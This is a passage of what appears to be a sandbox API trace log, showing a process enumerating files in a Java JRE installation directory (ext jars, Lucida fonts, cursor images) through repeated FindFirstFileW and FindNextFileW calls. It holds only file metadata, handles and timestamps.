cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 0 [0230.357] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0230.358] GetProcessHeap () returned 0xc10000 [0230.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.360] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0230.360] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0230.360] GetProcessHeap () returned 0xc10000 [0230.360] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0230.362] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.362] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0230.362] ResetEvent (hEvent=0x2b8) returned 1 [0230.362] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.364] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x0, dwReserved1=0x0, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0230.364] ResetEvent (hEvent=0x2b8) returned 1 [0230.364] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.370] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0230.371] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0230.371] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0230.371] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0230.371] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0230.371] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0230.371] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0230.371] ResetEvent (hEvent=0x2b8) returned 1 [0230.372] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.377] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0230.377] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0230.378] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0230.378] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0230.378] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0230.378] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0230.379] GetProcessHeap () returned 0xc10000 [0230.379] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.379] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0230.379] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0230.379] ResetEvent (hEvent=0x2b8) returned 1 [0230.380] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.384] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0230.385] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0230.385] GetProcessHeap () returned 0xc10000 [0230.385] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.386] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.386] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0230.386] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0230.386] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0230.386] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0230.386] ResetEvent (hEvent=0x2b8) returned 1 [0230.387] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.400] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0230.400] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0230.400] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0230.400] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0230.401] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 0 [0230.401] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.402] GetProcessHeap () returned 0xc10000 [0230.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.402] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0230.402] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0230.402] GetProcessHeap () returned 0xc10000 [0230.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0230.402] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.403] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0230.403] GetProcessHeap () returned 0xc10000 [0230.403] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0230.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0230.405] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.405] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0230.405] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, 